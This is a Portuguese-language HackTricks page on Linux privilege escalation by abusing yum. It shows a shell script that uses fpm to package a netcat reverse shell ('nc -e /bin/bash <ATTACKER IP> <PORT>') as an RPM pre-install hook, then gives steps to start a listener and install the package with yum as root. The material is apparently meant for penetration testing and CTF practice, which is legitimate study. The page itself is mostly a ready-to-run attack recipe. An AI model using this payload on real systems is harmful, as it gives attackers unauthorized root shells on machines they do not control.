hacktricks/linux-unix/privilege-escalation/exploiting-yum.md
2023-06-06 18:56:34 +00:00

3.2 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Mais exemplos sobre yum também podem ser encontrados em gtfobins.

Executando comandos arbitrários via Pacotes RPM

Verificando o Ambiente

Para aproveitar esse vetor, o usuário deve ser capaz de executar comandos yum como um usuário com privilégios mais elevados, ou seja, root.

Um exemplo de trabalho desse vetor

Um exemplo de trabalho desse exploit pode ser encontrado na sala daily bugle em tryhackme.

Empacotando um RPM

Na seção a seguir, abordarei o empacotamento de um shell reverso em um RPM usando fpm.

O exemplo abaixo cria um pacote que inclui um gatilho antes da instalação com um script arbitrário que pode ser definido pelo atacante. Quando instalado, este pacote executará o comando arbitrário. Eu usei um exemplo simples de shell reverso do netcat para demonstração, mas isso pode ser alterado conforme necessário.

EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR

Capturando um shell

Usando o exemplo acima e assumindo que yum pode ser executado como um usuário com privilégios mais altos.

  1. Transferir o rpm para o host
  2. Iniciar um listener em seu host local, como o exemplo de listener netcat
  3. Instalar o pacote vulnerável yum localinstall -y exploited-1.0-1.noarch.rpm